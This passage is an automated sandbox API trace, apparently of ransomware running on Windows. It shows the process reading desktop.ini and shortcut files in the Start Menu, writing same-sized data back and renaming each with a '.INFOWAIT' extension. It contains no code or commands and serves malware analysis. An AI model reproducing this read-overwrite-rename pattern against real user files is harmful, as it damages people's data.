lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.INFOWAIT" [0134.231] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\desktop.ini.infowait")) returned 1 [0134.232] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.236] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.236] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.236] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.237] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x208 [0134.237] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.237] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.237] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x208, lpOverlapped=0x0) returned 1 [0134.239] VirtualAlloc (lpAddress=0x0, dwSize=0x208, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.239] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.239] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x208, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x208, lpOverlapped=0x0) returned 1 [0134.239] CloseHandle (hObject=0xad0) returned 1 [0134.239] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\desktop.ini" [0134.239] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\desktop.ini.INFOWAIT" [0134.239] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\games\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\games\\desktop.ini.infowait")) returned 1 [0134.241] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.242] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.242] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.242] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.242] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x102 [0134.242] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.243] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.243] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x102, lpOverlapped=0x0) returned 1 [0134.244] VirtualAlloc (lpAddress=0x0, dwSize=0x102, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.245] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.245] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x102, lpOverlapped=0x0) returned 1 [0134.245] CloseHandle (hObject=0xad0) returned 1 [0134.245] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" [0134.245] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk.INFOWAIT" [0134.245] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\GameExplorer.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\games\\gameexplorer.lnk.infowait")) returned 1 [0134.246] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.247] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.248] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.248] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.248] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8dd [0134.248] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.248] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.248] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x8dd, lpOverlapped=0x0) returned 1 [0134.262] VirtualAlloc (lpAddress=0x0, dwSize=0x8dd, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.262] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.262] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x8dd, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x8dd, lpOverlapped=0x0) returned 1 [0134.263] CloseHandle (hObject=0xad0) returned 1 [0134.263] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" [0134.263] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk.INFOWAIT" [0134.263] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\google chrome.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\google chrome.lnk.infowait")) returned 1 [0134.264] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.265] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.265] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.265] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0134.265] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7cf [0134.265] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.266] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.266] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7cf, lpOverlapped=0x0) returned 1 [0134.294] VirtualAlloc (lpAddress=0x0, dwSize=0x7cf, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.294] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.294] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7cf, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7cf, lpOverlapped=0x0) returned 1 [0134.295] CloseHandle (hObject=0xad0) returned 1 [0134.295] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" [0134.295] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk.INFOWAIT" [0134.295] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\About Java.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\about java.lnk.infowait")) returned 1 [0134.297] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.298] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.298] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.298] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.303] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7e1 [0134.304] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.304] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.304] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7e1, lpOverlapped=0x0) returned 1 [0134.320] VirtualAlloc (lpAddress=0x0, dwSize=0x7e1, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.321] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.321] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7e1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7e1, lpOverlapped=0x0) returned 1 [0134.321] CloseHandle (hObject=0xad4) returned 1 [0134.321] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" [0134.321] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk.INFOWAIT" [0134.321] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk.infowait")) returned 1 [0134.322] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.323] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.323] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.323] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.325] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7b7 [0134.325] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.325] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.325] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7b7, lpOverlapped=0x0) returned 1 [0134.327] VirtualAlloc (lpAddress=0x0, dwSize=0x7b7, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.328] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.328] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7b7, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7b7, lpOverlapped=0x0) returned 1 [0134.328] CloseHandle (hObject=0xad4) returned 1 [0134.328] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" [0134.328] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk.INFOWAIT" [0134.328] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Configure Java.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\configure java.lnk.infowait")) returned 1 [0134.329] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.330] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.330] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.330] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.331] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4b6 [0134.331] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.331] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.331] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4b6, lpOverlapped=0x0) returned 1 [0134.347] VirtualAlloc (lpAddress=0x0, dwSize=0x4b6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.347] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.347] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4b6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4b6, lpOverlapped=0x0) returned 1 [0134.347] CloseHandle (hObject=0xad4) returned 1 [0134.347] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" [0134.348] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk.INFOWAIT" [0134.348] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\get help.lnk.infowait")) returned 1 [0134.348] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.349] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.350] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.350] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0134.351] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x45a [0134.351] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0134.351] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.351] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x45a, lpOverlapped=0x0) returned 1 [0134.401] VirtualAlloc (lpAddress=0x0, dwSize=0x45a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0134.401] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.401] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x45a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x45a, lpOverlapped=0x0) returned 1 [0134.401] CloseHandle (hObject=0xad4) returned 1 [0134.401] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" [0134.401] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk.INFOWAIT" [0134.401] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Visit Java.com.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java\\visit java.com.lnk.infowait")) returned 1 [0134.402] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.403] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.403] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0134.404] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Backup and Restore Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance\\backup and restore center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 